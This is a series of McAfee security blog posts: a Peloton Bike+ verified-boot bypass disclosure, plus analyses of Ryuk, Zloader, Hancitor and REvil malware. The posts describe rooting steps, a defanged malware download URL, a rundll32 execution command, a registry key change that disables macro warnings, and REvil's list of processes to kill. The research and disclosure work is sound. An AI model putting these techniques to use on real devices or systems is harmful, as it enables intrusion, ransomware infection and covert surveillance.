Executive Summary 

The McAfee Advanced Threat Research team (ATR) is committed to uncovering security issues in both software and hardware to help developers provide safer products for businesses and consumers. As security researchers, something that we always try to establish before looking at a target is what our scope should be. More specifically, we often assume well-vetted technologies like network stacks or the OS layers are sound and instead focus our attention on the application layers or software that is specific to a target. Whether that approach is comprehensive sometimes doesn’t matter; and it’s what we decided to do for this project as well, bypassing the Android OS itself and with a focus on the Peloton code and implementations. During our research process, we uncovered a flaw (CVE-2021-33887) in the Android Verified Boot (AVB) process, which was initially out of scope, that left the Peloton vulnerable. 

For those that are not familiar with Peloton, it is a brand that has combined high end exercise equipment with cutting-edge technology. Its products are equipped with a large tablet that interfaces with the components of the fitness machine, as well as provides a way to attend virtual workout classes over the internet. “Under the hood” of this glossy exterior, however, is a standard Android tablet, and this hi-tech approach to exercise equipment has not gone unnoticed. Viral marketing mishaps aside, Peloton has garnered attention recently regarding concerns surrounding the privacy and security of its products. So, we decided to take a look for ourselves and purchased a Pelton Bike+.

Attempting to Backup 

One of the first things that we usually try do when starting a new project, especially when said projects involve large expenses like the Peloton, is to try to find a way to take a backup or a system dump that could be used if a recovery is ever needed. Not all of our research techniques keep the device in a pristine state (we’d be poor hackers if they did), and having the ability to restore the device to its factory settings is a safety net that we try to implement on our targets.  

Because we are working with a normal Android device with only the Peloton customizations running at the application layer, many of the processes used to back up an Android phone would also work with the Peloton. It is common in the Android custom ROM scene to use a custom recovery image that allows the user to take full flash dumps of each critical partition and provides a method to restore them later. In such communities, it often also goes without saying that the device must first be unlocked in order to perform any of these steps. While the Android OS allows users to flash these critical partitions, there are restrictions in place that typically prevent an attacker from gaining access to the “currently” running system. If an attacker was able to get their hands on an Android device with the goal of installing a rootkit, they would have to jump through some hoops. The first step that an attacker would need to take is to enable “Original Equipment Manufacturer (OEM) Unlocking”, which is a user mode setting within the “developer options” menu. Even with physical access to the bootloader, an attacker would not be able to “unlock” the Android device unless this setting is checked. This option is usually secured behind the user’s password, PIN, or biometric phone lock, preventing an attacker from accessing it easily. The second security measure in place is that even with the “OEM Unlocking” setting on, issuing commands to the bootloader to perform the unlock first causes all data on the Android device, including applications, files, passwords, etc., to be wiped. This way, even if an attacker did gain access to the Android device of an unsuspecting victim, they wouldn’t be able to install a rootkit or modify the existing kernel without deleting all the data, which both prevents personal data from falling into the attacker’s hands and makes it obvious the device has been tampered with. 

For this research effort, we resisted the urge to unlock the Peloton, as there are ways for apps to query the unlock status of a device within Android, and we wanted to ensure that any vulnerabilities we found weren’t the result of the device behaving differently due to it being unlocked. These discrepancies that arise from our research are usually identified by having two target devices: one to serve as the control and the other to serve as the test device. Unfortunately, we only had one Peloton to play with. Another issue was that the Peloton hardware is not very common and the developers of the aforementioned custom recovery images, like Team Win Recovery Project (TWRP), don’t create images for every device,  just the most common ones. So, the easy method of taking a backup would not only require unlocking the device but also trying to create our own custom recovery image.  

This left us as at a crossroads. We could unlock the bootloader and root the device, granting us access to the flash memory block devices (raw interfaces to the flash partitions) internally, which would allow us to create and restore backups as needed. However, as mentioned before, this would leave the bike in a recognizably “tampered” state. Alternatively, we could try to capture one of the bike’s Over-The-Air (OTA) updates to use as a backup, but we would still need to “unlock” the device to actually flash the OTA image manually. Both options were less than ideal so we kept looking for other solutions. 

Android Verified Boot Process

Just as Secure Boot provides a security mechanism for properly booting the OS on Windows PCs, Android has implemented measures to control the boot process, called Android Verified Boot (AVB). According to Android’s documentation, AVB “requires cryptographically verifying all executable code and data that is part of the Android version being booted before it is used. This includes the kernel (loaded from the boot partition), the device tree (loaded from the dtbo partition), system partition, vendor partition, and so on.” 

The Peloton Bike+ ships with the default settings of “Verity Mode” set to true, as well as “Device Unlocked” and “Device Critical Unlocked” set to false, which is intended to prevent the loading of modified boot images and provide a way to determine if the device has been tampered with. This information was verified by running fastboot oem device-info on the Peloton, as demonstrated in Figure 1. 

Figure 1: OEM device info showing verity mode and unlocked status. 

To clarify, a simplified Android boot process can be visualized as follows: 

Figure 2: Simplified Android Boot Process 

If modified code is found at any of the stages in Figure 2, the boot process should abort or, if the device is unlocked, warn the user that the images are not verified and give the option to the user to abort the boot. 

Given that we defined our scope of this project to not include the Android boot process as a part of our research and verifying that Peloton has attempted to use the security measures provided by Android, we again found ourselves debating if a backup would be possible.  

In newer Android releases, including the Peloton, the update method uses Android’s Seamless System Updates (A/B). This update method no longer needs the “recovery” partition, forcing users who wish to use a custom recovery to use the fastboot boot command which will download and boot the supplied image. This is a temporary boot that doesn’t “flash“ or alter any of the flash partitions of the device and will revert to the previous boot image on restart. Since this option allows for modified code to be executed, it is only available when the device is in an unlocked state and will error out with a message stating “Please unlock device to enable this command,” if attempted on a locked device.  

This is a good security implementation because if this command was always allowed, it would be very similar to the process of booting from a live USB on your PC, where you can login as a root user and have full control over the underlying system and components. 

Booting Modified Code 

This is where our luck or maybe naïveté worked to our advantage. Driven by our reluctance to unlock the device and our desire to make a backup, we tried to boot a generic TWRP recovery image just to see what would happen. The image ended up leaving us at a black screen, and since each recovery image needs to contain a small kernel with the correct drivers for the display, touch digitizer, and other device–specific hardware, this was to be expected. What we didn’t expect, however, was for it to get past the fastboot boot command. While we didn’t get a custom recovery running, it did tell us one thing; the system was not verifying that the device was unlocked before attempting to boot a custom image. Normally this command would be denied on a “locked” device and would have just errored out on the fastboot command, as mentioned previously. 

It is also important to point out that despite having booted a modified image, the internal fuse had not been burned. These fuses are usually burned during the OEM unlocking process to identify if a device has allowed for a different “root of trust” to be installed. The burning of such a fuse is a permanent operation and a burnt fuse often indicates that the device has been tampered with. As shown in Figure 3, the “Secure Boot” fuse was still present, and the device was reporting a locked bootloader. 

Figure 3: Secure boot enabled with fused protection 

Acquiring an OTA Image 

This discovery was unexpected and we felt like we had stumbled upon a flaw that gave us the ability to finally take a backup of the device and leave the Peloton in an “untampered” state. Knowing that a custom image could be booted even with a “locked” bootloader, we began looking at ways to gather a valid boot image, which would contain the correct kernel drivers to facilitate a successful boot. If we could piece together the OTA update URL and just download an update package directly from Peloton, it would likely contain a boot image that we could modify. Having the ability to modify a boot image would give us root and access to the blocked devices. 

Even with just ADB debugging enabled we were able to pull the Peloton–specific applications from the device. We listed all the Peloton APKs and sought out the ones that could help us get the OTA path, shown in Figure 4. 

Figure 4: Listing Peloton Specific Applications and Highlighting the one related to OTA Updates. 

Finding the name OTAService promising, we pulled down the APK and began to reverse-engineer it using JADX. After some digging, we discovered how the app was building the download URL string for OTA updates, which would then be passed to beginDownload(), as seen in Figure 5. 

Figure 5: OTA image path being constructed as “key” 

We also noticed quite a few Android log calls that could help us, such as the one right before the call to beginDownload(), so we used Android’s built–in logcat command and grepped the output for “OTA” as seen in Figure 6. Doing so, we were able to find which S3 bucket was used for the OTA updates and even a file manifest titled OTAConfig.json.   

Figure 6: Relevant OTA logs in red 

Combining the information obtained from OTAService.apk and the logs, we were able to piece together the full path to the OTA images manifest file and names for each OTA zip file, as shown in Figure 7.  

Figure 7: Contents of OTAConfig.json 

Our next step was to extract the contents of the OTA update to get a valid boot.img file that would contain all the specific kernel drivers for the Peloton hardware. Since the Peloton is using Android’s A/B partitions, which facilitate seamless updates, the update packages were stored in a “payload.bin” format. Using the Android payload dumper tool, we were able to extract all of the images contained in the bin file. 

Modifying the Boot Image 

Once the boot.img was extracted, we needed a way to modify the initial kernel to allow us to gain root access on the device. Although there are a variety of ways to accomplish this, we decided to keep things simple and just use the Magisk installer to patch the boot.img file to include the “su” binary. With the boot.img patched, we were able to use the fastboot boot command again but this time passing it our patched boot.img file. Since the Verified Boot process on the Peloton failed to identify the modified boot image as tampered, the OS booted normally with the patched boot.img file. After this process was complete, the Peloton Bike+ was indistinguishable from its “normal” state under visual inspection and the process left no artifacts that would tip off the user that the Pelton had been compromised. But appearances can be deceiving, and in reality the Android OS had now been rooted, allowing us to use the “su” command to become root and perform actions with UID=0, as seen in Figure 8. 

Figure 8: Booting modified boot.img and executing whoami as Root 

Impact Scenarios 

As we just demonstrated, the ability to bypass the Android Verified Boot process can lead to the Android OS being compromised by an attacker with physical access. A worst-case scenario for such an attack vector might involve a malicious agent booting the Peloton with a modified image to gain elevated privileges and then leveraging those privileges to establish a reverse shell, granting the attacker unfettered root access on the bike remotely. Since the attacker never has to unlock the device to boot a modified image, there would be no trace of any access they achieved on the device. This sort of attack could be effectively delivered via the supply chain process. A malicious actor could tamper with the product at any point from construction to warehouse to delivery, installing a backdoor into the Android tablet without any way the end user could know. Another scenario could be that an attacker could simply walk up to one of these devices that is installed in a gym or a fitness room and perform the same attack, gaining root access on these devices for later use. The Pelobuddy interactive map in figure 9 below could help an attacker find public bikes to attack. 

Figure 9: pelobuddy.com’s interactive map to help locate public Peloton exercise equipment. 

Once an attacker has root, they could make their presence permanent by modifying the OS in a rootkit fashion, removing any need for the attacker to repeat this step. Another risk is that an attacker could modify the system to put themselves in a man-in-the-middle position and sniff all network traffic, even SSL encrypted traffic, using a technique called SSL unpinning, which requires root privileges to hook calls to internal encryption functionality. Intercepting and decrypting network traffic in this fashion could lead to users’ personal data being compromised. Lastly, the Peloton Bike+ also has a camera and a microphone installed. Having remote access with root permissions on the Android tablet would allow an attacker to monitor these devices and is demoed in the impact video below. 

Disclosure Timeline and Patch 

Given the simplicity and criticality of the flaw, we decided to disclose to Peloton even as we continue to audit the device for remote vulnerabilities. We sent our vendor disclosure with full details on March 2, 2021 – shortly after, Peloton confirmed the issue and subsequently released a fix for it in software version “PTX14A-290”. The patched image no longer allows for the “boot” command to work on a user build, mitigating this vulnerability entirely. The Peloton vulnerability disclosure process was smooth, and the team were receptive and responsive with all communications. Further conversations with Peloton confirmed that this vulnerability is also present on Peloton Tread exercise equipment; however, the scope of our research was confined to the Bike+.

Peloton’s Head of Global Information Security, Adrian Stone, shared the following “this vulnerability reported by McAfee would require direct, physical access to a Peloton Bike+ or Tread. Like with any connected device in the home, if an attacker is able to gain physical access to it, additional physical controls and safeguards become increasingly important. To keep our Members safe, we acted quickly and in coordination with McAfee. We pushed a mandatory update in early June and every device with the update installed is protected from this issue.”

We are continuing to investigate the Peloton Bike+, so make sure you stay up to date on McAfee’s ATR blogs for any future discoveries. 

The post A New Program for Your Peloton – Whether You Like It or Not appeared first on McAfee Blog.

The McAfee Advanced Threat Research team today published the McAfee Labs Threats Report: June 2021.

In this edition we introduce additional context into the biggest stories dominating the year thus far including recent ransomware attacks. While the topic itself is not new, there is no question that the threat is now truly mainstream.

This Threats Report provides a deep dive into ransomware, in particular DarkSide, which resulted in an agenda item in talks between U.S. President Biden and Russian President Putin. While we have no intention of detailing the political landscape, we certainly do have to acknowledge that this is a threat disrupting our critical services. Furthermore, adversaries are supported within an environment that make digital investigations challenging with legal barriers that make the gathering of digital evidence almost impossible from certain geographies.

That being said, we can assure the reader that all of the recent campaigns are incorporated into our products, and of course can be tracked within our MVISION Insights preview dashboard.

This dashboard shows that – beyond the headlines – many more countries have experienced such attacks. What it will not show is that victims are paying the ransoms, and criminals are introducing more Ransomware-as-a-Service (RaaS) schemes as a result. With the five-year anniversary of the launch of the No More Ransom initiative now upon us it’s fair to say that we need more global initiatives to help combat this threat.

Q1 2021 Threat Findings

McAfee Labs threat research during the first quarter of 2021 include:

• New malware samples averaging 688 new threats per minute
• Coin Miner threats surged 117%
• New Mirai malware variants drove increase in Internet of Things and Linux threats

Additional Q1 2021 content includes:

• McAfee Global Threat Intelligence (GTI) queries and detections
• Disclosed Security Incidents by Continent, Country, Industry and Vectors
• Top MITRE ATT&CK Techniques APT/Crime

We hope you enjoy this Threats Report. Don’t forget to keep track of the latest campaigns and continuing threat coverage by visiting our McAfee Threat Center. Please stay safe.

The post McAfee Labs Report Highlights Ransomware Threats appeared first on McAfee Blog.

Executive Summary

Ryuk is a ransomware that encrypts a victim’s files and requests payment in Bitcoin cryptocurrency to release the keys used for encryption. Ryuk is used exclusively in targeted ransomware attacks.

Ryuk was first observed in August 2018 during a campaign that targeted several enterprises. Analysis of the initial versions of the ransomware revealed similarities and shared source code with the Hermes ransomware. Hermes ransomware is a commodity malware for sale on underground forums and has been used by multiple threat actors.

To encrypt files Ryuk utilizes a combination of symmetric AES (256-bit) encryption and asymmetric RSA (2048-bit or 4096-bit) encryption. The symmetric key is used to encrypt the file contents, while the asymmetric public key is used to encrypt the symmetric key. Upon payment of the ransom the corresponding asymmetric private key is released, allowing the encrypted files to be decrypted.

Because of the targeted nature of Ryuk infections, the initial infection vectors are tailored to the victim. Often seen initial vectors are spear-phishing emails, exploitation of compromised credentials to remote access systems and the use of previous commodity malware infections. As an example of the latter, the combination of Emotet and TrickBot, have frequently been observed in Ryuk attacks.

Coverage and Protection Advice

Ryuk is detected as Ransom-Ryuk![partial-hash].

Defenders should be on the lookout for traces and behaviours that correlate to open source pen test tools such as winPEAS, Lazagne, Bloodhound and Sharp Hound, or hacking frameworks like Cobalt Strike, Metasploit, Empire or Covenant, as well as abnormal behavior of non-malicious tools that have a dual use. These seemingly legitimate tools (e.g., ADfind, PSExec, PowerShell, etc.) can be used for things like enumeration and execution. Subsequently, be on the lookout for abnormal usage of Windows Management Instrumentation WMIC (T1047). We advise everyone to check out the following blogs on evidence indicators for a targeted ransomware attack (Part1, Part2).

• Looking at other similar Ransomware-as-a-Service families we have seen that certain entry vectors are quite common among ransomware criminals:
• E-mail Spear phishing (T1566.001) often used to directly engage and/or gain an initial foothold. The initial phishing email can also be linked to a different malware strain, which acts as a loader and entry point for the attackers to continue completely compromising a victim’s network. We have observed this in the past with the likes of Trickbot & Ryuk or Qakbot & Prolock, etc.
• Exploit Public-Facing Application (T1190) is another common entry vector, given cyber criminals are often avid consumers of security news and are always on the lookout for a good exploit. We therefore encourage organizations to be fast and diligent when it comes to applying patches. There are numerous examples in the past where vulnerabilities concerning remote access software, webservers, network edge equipment and firewalls have been used as an entry point.
• Using valid accounts (T1078) is and has been a proven method for cybercriminals to gain a foothold. After all, why break the door down if you already have the keys? Weakly protected RDP access is a prime example of this entry method. For the best tips on RDP security, please see our blog explaining RDP security.
• Valid accounts can also be obtained via commodity malware such as infostealers that are designed to steal credentials from a victim’s computer. Infostealer logs containing thousands of credentials can be purchased by ransomware criminals to search for VPN and corporate logins. For organizations, having a robust credential management and MFA on user accounts is an absolute must have.

When it comes to the actual ransomware binary, we strongly advise updating and upgrading endpoint protection, as well as enabling options like tamper protection and Rollback. Please read our blog on how to best configure ENS 10.7 to protect against ransomware for more details.

Summary of the Threat

Ryuk ransomware is used exclusively in targeted attacks

Latest sample now targets webservers

New ransom note prompts victims to install Tor browser to facilitate contact with the actors

After file encryption, the ransomware will print 50 copies of the ransom note on the default printer

Learn more about Ryuk ransomware, including Indicators of Compromise, Mitre ATT&CK techniques and Yara Rule, by reading our detailed technical analysis.

The post New Ryuk Ransomware Sample Targets Webservers appeared first on McAfee Blog.

This blog was written by Kiran Raj & Kishan N.

Introduction

In the last few years, Microsoft Office macro malware using social engineering as a means for malware infection has been a dominant part of the threat landscape. Malware authors continue to evolve their techniques to evade detection. These techniques involve utilizing macro obfuscation, DDE, living off the land tools (LOLBAS), and even utilizing legacy supported XLS formats.

McAfee Labs has discovered a new technique that downloads and executes malicious DLLs (Zloader) without any malicious code present in the initial spammed attachment macro. The objective of this blog is to cover the technical aspect of the newly observed technique.

Infection map

Threat Summary

• The initial attack vector is a phishing email with a Microsoft Word document attachment.
• Upon opening the document, a password-protected Microsoft Excel file is downloaded from a remote server.
• The Word document Visual Basic for Applications (VBA) reads the cell contents of the downloaded XLS file and writes into the XLS VBA as macros.
• Once the macros are written to the downloaded XLS file, the Word document sets the policy in the registry to Disable Excel Macro Warning and calls the malicious macro function dynamically from the Excel file,
• This results in the downloading of the Zloader payload. The Zloader payload is then executed by rundll32.exe.

The section below contains the detailed technical analysis of this technique.

Detailed Technical Analysis

Infection Chain

The malware arrives through a phishing email containing a Microsoft Word document as an attachment. When the document is opened and macros are enabled, the Word document, in turn, downloads and opens another password-protected Microsoft Excel document.

After downloading the XLS file, the Word VBA reads the cell contents from XLS and creates a new macro for the same XLS file and writes the cell contents to XLS VBA macros as functions.

Once the macros are written and ready, the Word document sets the policy in the registry to Disable Excel Macro Warning and invokes the malicious macro function from the Excel file. The Excel file now downloads the Zloader payload. The Zloader payload is then executed using rundll32.exe.

Figure-1: flowchart of the Infection chain

Word Analysis

Here is how the face of the document looks when we open the document (figure 2). Normally, the macros are disabled to run by default by Microsoft Office. The malware authors are aware of this and hence present a lure image to trick the victims guiding them into enabling the macros.

Figure-2: Image of Word Document Face

The userform combo-box components present in the Word document stores all the content required to connect to the remote Excel document including the Excel object, URL, and the password required to open the Excel document. The URL is stored in the Combobox in the form of broken strings which will be later concatenated to form a complete clear string.

Figure-3: URL components (right side) and the password to open downloaded Excel document (“i5x0wbqe81s”) present in user-form components.

VBA Macro Analysis of Word Document

Figure-4: Image of the VBA editor

In the above image of macros (figure 4), the code is attempting to download and open the Excel file stored in the malicious domain. Firstly, it creates an Excel application object by using CreateObject() function and reading the string from Combobox-1 (ref figure-2) of Userform-1 which has the string “excel. Application” stored in it. After creating the object, it uses the same object to open the Excel file directly from the malicious URL along with the password without saving the file on the disk by using Workbooks.Open() function.

Figure-5: Word Macro code that reads strings present in random cells in Excel sheet.

The above snippet (figure 5) shows part of the macro code that is reading the strings from the Excel cells.

For Example:

Ixbq = ifk.sheets(3).Cells(44,42).Value

The code is storing the string present in sheet number 3 and the cell location (44,42) into the variable “ixbq”. The Excel.Application object that is assigned to variable “ifk” is used to access sheets and cells from the Excel file that is opened from the malicious domain.

In the below snippet (figure 6), we can observe the strings stored in the variables after being read from the cells. We can observe that it has string related to the registry entry “HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Excel\Security\AccessVBOM” that is used to disable trust access for VBA into Excel and the string “Auto_Open3” that is going to be the entry point of the Excel macro execution.

We can also see the strings “ThisWorkbook”, “REG_DWORD”, “Version”, “ActiveVBProject” and few random functions as well like “Function c4r40() c4r40=1 End Function”. These macro codes cannot be detected using static detection since the content is formed dynamically on run time.

Figure-6: Value of variables after reading Excel cells.

After extracting the contents from the Excel cells, the parent Word file creates a new VBA module in the downloaded Excel file by writing the retrieved contents. Basically, the parent Word document is retrieving the cell contents and writing them to XLS macros.

Once the macro is formed and ready, it modifies the below RegKey to disable trust access for VBA on the victim machine to execute the function seamlessly without any Microsoft Office Warnings.

HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Excel\Security\AccessVBOM

After writing macro contents to Excel file and disabling the trust access, function ’Auto_Open3()’ from newly written excel VBA will be called which downloads zloader dll from the ‘hxxp://heavenlygem.com/22.php?5PH8Z’ with extension .cpl

Figure-7: Image of ’Auto_Open3()’ function

The downloaded dll is saved in %temp% folder and executed by invoking rundll32.exe.

Figure-8: Image of zloader dll invoked by rundll32.exe

Command-line parameter:

Rundll32.exe shell32.dll,Control_RunDLL “<path downloaded dll>”

Windows Rundll32 commands loads and runs 32-bit DLLs that can be used for directly invoking specified functions or used to create shortcuts. In the above command line, the malware uses “Rundll32.exe shell32.dll,Control_RunDLL” function to invoke control.exe (control panel) and passes the DLL path as a parameter, therefore the downloaded DLL is executed by control.exe.

Excel Document Analysis:

The below image (figure 9) is the face of the password-protected Excel file that is hosted on the server. We can observe random cells storing chunks of strings like “RegDelete”, “ThisWorkbook”, “DeleteLines”, etc.

These strings present in worksheet cells are formed as VBA macro in the later stage.

Figure-9: Image of Remote Excel file.

Coverage and prevention guidance:

McAfee’s Endpoint products detect this variant of malware and files dropped during the infection process.

The main malicious document with SHA256 (210f12d1282e90aadb532e7e891cbe4f089ef4f3ec0568dc459fb5d546c95eaf) is detected with V3 package version – 4328.0 as “W97M/Downloader.djx”.  The final Zloader payload with SHA-256 (c55a25514c0d860980e5f13b138ae846b36a783a0fdb52041e3a8c6a22c6f5e2)which is a DLL is detected by signature “Zloader-FCVP” with V3 package version – 4327.0

Additionally, with the help of McAfee’s Expert rule feature, customers can strengthen the security by adding custom Expert rules based on the behavior patterns of the malware. The below EP rule is specific to this infection pattern.

McAfee advises all users to avoid opening any email attachments or clicking any links present in the mail without verifying the identity of the sender. Always disable the macro execution for Office files. We advise everyone to read our blog on this new variant of Zloader and its infection cycle to understand more about the threat.

Different techniques & tactics are used by the malware to propagate and we mapped these with the MITRE ATT&CK platform.

• E-mail Spear Phishing (T1566.001): Phishing acts as the main entry point into the victim’s system where the document comes as an attachment and the user enables the document to execute the malicious macro and cause infection. This mechanism is seen in most of the malware like Emotet, Drixed, Trickbot, Agenttesla, etc.
• Execution (T1059.005): This is a very common behavior observed when a malicious document is opened. The document contains embedded malicious VBA macros which execute code when the document is opened/closed.
• Defense Evasion (T1218.011): Execution of signed binary to abuse Rundll32.exe and to proxy execute the malicious code is observed in this Zloader variant. This tactic is now also part of many others like Emotet, Hancitor, Icedid, etc.
• Defense Evasion (T1562.001): In this tactic, it Disables or Modifies security features in Microsoft Office document by changing the registry keys.

IOC

Conclusion

Malicious documents have been an entry point for most malware families and these attacks have been evolving their infection techniques and obfuscation, not just limiting to direct downloads of payload from VBA, but creating agents dynamically to download payload as we discussed in this blog. Usage of such agents in the infection chain is not only limited to Word or Excel, but further threats may use other living off the land tools to download its payloads.

Due to security concerns, macros are disabled by default in Microsoft Office applications. We suggest it is safe to enable them only when the document received is from a trusted source.

The post Zloader With a New Infection Technique appeared first on McAfee Blog.

This blog was written by Vallabh Chole & Oliver Devane

Over the years, the cybersecurity industry has seen many threats get taken down, such as the Emotet takedown in January 2021. It doesn’t usually take long for another threat to attempt to fill the gap left by the takedown. Hancitor is one such threat.

Like Emotet, Hancitor can send Malspams to spread itself and infect as many users as possible. Hancitor’s main purpose is to distribute other malware such as FickerStealer, Pony, CobaltStrike, Cuba Ransomware and Zeppelin Ransomware. The dropped Cobalt Strike beacons can then be used to move laterally around the infected environment and also execute other malware such as ransomware.

This blog will focus on a new technique used by Hancitor created to prevent crawlers from accessing malicious documents used to download and execute the Hancitor payload.

The infection flow of Hancitor is shown below:

A victim will receive an email with a fake DocuSign template to entice them to click a link. This link leads him to feedproxy.google.com, a service that works similar to an RSS Feed and enables site owners to publish site updates to its users.

When accessing the link, the victim is redirected to the malicious site. The site will check the User-Agent of the browser and if it is a non-Windows User-Agent the victim will be redirected to google.com.

If the victim is on a windows machine, the malicious site will create a cookie using JavaScript and then reload the site.

The code to create the cookie is shown below:

The above code will write the Timezone to value ‘n’ and the time offset to UTC in value ‘d’ and set it into cookie header for an HTTP GET Request.

For example, if this code is executed on a machine with timezone set as BST the values would be:

d = 60

n = “Europe/London”

These values may be used to prevent further malicious activity or deploy a different payload depending on geo location.

Upon reloading, the site will check if the cookie is present and if it is, it will present them with the malicious document.

A WireShark capture of the malicious document which includes the cookie values is shown below:

The document will prompt them to enable macros and, when enabled, it will download the Hancitor DLL and then load it with Rundll32.

Hancitor will then communicate with its C&C and deploy further payloads. If running on a Windows domain, it will download and deploy a Cobalt Strike beacon.

Hancitor will also deploy SendSafe which is a spam module, and this will be used to send out malicious spam emails to infect more victims.

Conclusion

With its ability to send malicious spam emails and deploy Cobalt Strike beacons, we believe that Hancitor will be a threat closely linked to future ransomware attacks much like Emotet was. This threat also highlights the importance of constantly monitoring the threat landscape so that we can react quickly to evolving threats and protect our customers from them.

IOCs, Coverage, and MITRE

IOCs

Mitre

The post Hancitor Making Use of Cookies to Prevent URL Scraping appeared first on McAfee Blog.

This blog was written byVaradharajan Krishnasamy, Karthickkumar, Sakshi Jaiswal

Introduction

Ransomware attacks are one of the most common cyber-attacks among organizations; due to an increase in Ransomware-as-a-service (RaaS) on the black market. RaaS provides readily available ransomware to cyber criminals and is an effective way for attackers to deploy a variety of ransomware in a short period of time.

Usually, RaaS model developers sell or rent their sophisticated ransomware framework on the black market. After purchasing the license from the ransomware developer, attackers spread the ransomware to other users, infect them, encrypt files, and demand a huge ransom payment in Bitcoin.  Also, there are discounts available on the black market for ransomware frameworks in which the ransom money paid is shared between developers and the buyer for every successful extortion of ransom from the victims. These frameworks reduce the time and effort of creating a new ransomware from scratch using latest and advanced programming languages.

REvil is one of the most famous ransomware-as-a-service (RaaS) providers. The group released the Sodinokibi ransomware in 2019, and McAfee has since observed REvil using a DLL side loading technique to execute ransomware code. The actual ransomware is a dropper that contains two embedded PE files in the resource section.  After successful execution, it drops two additional files named MsMpEng.exe and MpSvc.dll in the temp folder. The file MsMpEng.exe is a Microsoft digitally signed file having a timestamp of March 2014 (Figure 1).

Figure-1: Image of Microsoft Digitally signed File

DLL SIDE LOADING

The malware uses DLL side loading to execute the ransomware code. This technique allows the attacker to execute malicious DLLs that spoof legitimate ones. This technique has been used in many APTs to avoid detection. In this attack, MsMpEng.exe loads the functions of MpSvc.dll during the time of execution. However, the attacker has replaced the clean MpSvc.dll with the ransomware binary of the same name. The malicious DLL file has an export function named ServiceCrtMain, which is further called and executed by the Microsoft Defender file. This is a clever technique used by the attacker to execute malicious file using the Microsoft digitally signed binary.

Figure-2: Calling Export function

PAYLOAD ANALYSIS

The ransomware uses the RC4 algorithm to decrypt the config file which has all the information that supports the encryption process.

Figure-3: REvil Config File

Then it performs a UI language check using GetSystemDefaultUILanguage/GetUserDefaultUILanguage functions and compares it with a hardcoded list which contains the language ID of several countries as shown in below image.

Figure-4: Language Check

Countries excluded from this ransomware attack are mentioned below:

Additionally, the ransomware checks the users keyboardlayout and it skips the ransomware infection in the machine’s which are present in the country list above.

Figure-5: Keyboardlayout check

Ransomware creates a Global mutex in the infected machine to mark its presence.

Figure-6: Global Mutex

After creating the mutex, the ransomware deletes the files in the recycle bin using the SHEmptyRecycleBinW function to make sure that no files are restored post encryption.

Figure-7: Empty Recycle Bin

Then it enumerates all the active services with the help of the EnumServicesStatusExW function and deletes services if the service name matches the list present in the config file. The image below shows the list of services checked by the ransomware.

Figure-8: Service List check

It calls the CreateToolhelp32Snapshot, Process32FirstW and Process32NextW functions to enumerate running processes and terminates those matching the list present in the config file.  The following processes will be terminated.

• allegro
• steam
• xtop
• ocssd
• xfssvccon
• onenote
• isqlplussvc
• msaccess
• powerpnt
• cad
• sqbcoreservic
• thunderbird
• oracle
• infopath
• dbeng50
• pro_comm_msg
• agntsvc
• thebat
• firefox
• ocautoupds
• winword
• synctime
• tbirdconfig
• mspub
• visio
• sql
• ocomm
• orcad
• mydesktopserv
• dbsnmp
• outlook
• cadence
• excel
• wordpad
• creoagent
• encsvc
• mydesktopqos

Then, it encrypts files using the Salsa20 algorithm and uses multithreading for fast encryption of the files. Later, background wallpaper will be set with a ransom message.

Figure-9: Desktop Wallpaper

Finally, the ransomware displays ransom notes in the victim’s machine. Below is an image of readme.txt which is dropped in the infected machine.

Figure-10: Ransom Note

IOCs and Coverage

Expert rules allow McAfee customers to extend their coverage. This rule covers this REvil ransomware behaviour.

MITRE

Conclusion

McAfee observed that the REvil group has utilized oracle web logic vulnerability (CVE-2019-2725) to spread the ransomware last year and used kaseya’s VSA application recently for their ransomware execution, with the help of DLL sideloading. REvil uses many vulnerability applications for ransomware infections, however the encryption technique remains the same. McAfee recommends making periodic backups of files and keeping them isolated off the network and having an always updated antivirus in place.

The post REvil Ransomware Uses DLL Sideloading appeared first on McAfee Blog.

The overarching threat facing cyber organizations today is a highly skilled asymmetric enemy, well-funded and resolute in his task and purpose.   You never can exactly tell how they will come at you, but come they will.  It’s no different than fighting a kinetic foe in that, before you fight, you must choose your ground and study your enemy’s tendencies.

A lot of focus has been placed on tools and updating technology, but often we are pushed back on our heels and find ourselves fighting a defensive action.

But what if we change?  How do we do that?

The first step is to study the battlefield, understand what you’re trying to protect and lay down your protection strategy.  Pretty basic right??

Your technology strategy is very important, but you must embrace and create a thorough Cyber Threat Intelligence (CTI) doctrine which must take on many forms.

First, there is data, and lots of it.  However, the data must take specific forms to research and detect nascent elements where the adversary is attempting to catch you napping or give you the perception that the activity you see is normal.

As you pool this data, it must be segmented into layers and literally mapped to geographic locations across the globe.  The data is classified distinctly as malicious and reputations are applied.  This is a vital step in that it enables analytical programs, along with human intelligence analysts to apply the data within intelligence reports which themselves can take on many forms.

Once the data takes an analytic form, then it allows organizations to forensically piece together a picture of an attack.  This process is painstakingly tedious but necessary to understand your enemy and his tendencies.  Tools are useful, but it’s always the human in the loop that will recognize the tactical and strategic implications of an adversary’s moves. Once you see the picture, it becomes real, and then you’re able to prepare your enterprise for the conflict that follows.

Your early warning and sensing strategy must incorporate this philosophy.  You must sense, collect, exploit, process, produce and utilize each intelligence product that renders useful information.  It’s this process that will enable any organization to move decisively to and stay “left of boom”.

The McAfee Advanced Programs Group (APG) was created eight years ago to support intelligence organizations that embrace and maintain a strong CTI stance.  Its philosophy is to blend people, processes, data and a strong intelligence heritage to enable our customers to understand the cyber battlefield to proactively protect, but “maneuver” when necessary to avoid an attack.

APG applies three key disciplines or mission areas to provide this support.

First, we developed an internal tool called the Advanced Threat Landscape Analysis System (ATLAS).  This enables our organization to apply our malicious threat detections to a geospatial map display to see where we’re seeing malicious data.  ATLAS draws from our global network of billions of threat sensors to see trillions of detections each day, but enables our analysts to concentrate on the most malicious activity.  Then we’re better able to research and report accurate threat landscape information.

The second leg in the stool is our analytical staff, the true cyber ninjas that apply decades of experience supporting HUMINT operations across the globe and a well-established intelligence-based targeting philosophy to the cyber environment.  The result is a true understanding of the cyber battlefield enabling the leadership to make solid “intelligence-based” decisions.

Finally, the third leg is our ability to develop custom solutions and interfaces to adapt in a very custom way our ability to see and study data.  We have the ability to leverage 2.8 billion malicious detections, along with 20 other distinct malicious feeds, to correlate many different views, just not the McAfee view.  We interpret agnostically.

